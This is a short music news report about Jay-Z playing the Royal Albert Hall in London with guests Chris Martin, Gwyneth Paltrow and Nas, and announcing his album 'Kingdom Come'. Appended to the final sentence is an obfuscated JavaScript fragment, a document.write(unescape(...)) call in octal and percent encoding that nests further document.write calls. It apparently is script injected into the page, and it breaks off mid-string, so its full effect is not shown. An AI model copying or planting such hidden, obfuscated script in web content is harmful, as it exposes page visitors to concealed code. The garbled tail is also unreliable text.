Jay-Z joined by special guests in London

Jay-Z was joined onstage by special guests Chris Martin and Gwyneth Paltrow on vocals as he played the second of his two London shows last night.

The surprise came at what was the first ever hip-hop gig at the prestigous Royal Albert Hall.

Performing in front of a sold-out crowd, as he did at Wembley Arena in the UK capital at the weekend (September 24), the rapper brought out the Coldplay singer for an untitled new song from Jay-Z's forthcoming new album, as well as a run through 'Heart Of The City (Ain't No Love)' from Jay's classic LP 'The Blueprint'.

Martin's Oscar-winning actress wife Paltrow supplied backing vocals on another track from 'The Blueprint', 'Song Cry'.

Paltrow had previously sang in the 2000 movie 'Duets', and has appeared onstage with pal Sheryl Crow in the past. She has also had a couple of hits in Australia.

Nas also joined his old sparring partner onstage, as he did at Wembley, to sing three songs - 'Hate Me Now', 'Made You Look' and 'If I Ruled The World'.

The rapper, who has now completed his UK tour, is releasing his new album 'Kingdom Come' - confirming that he has reversed his decision to retire - in November.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;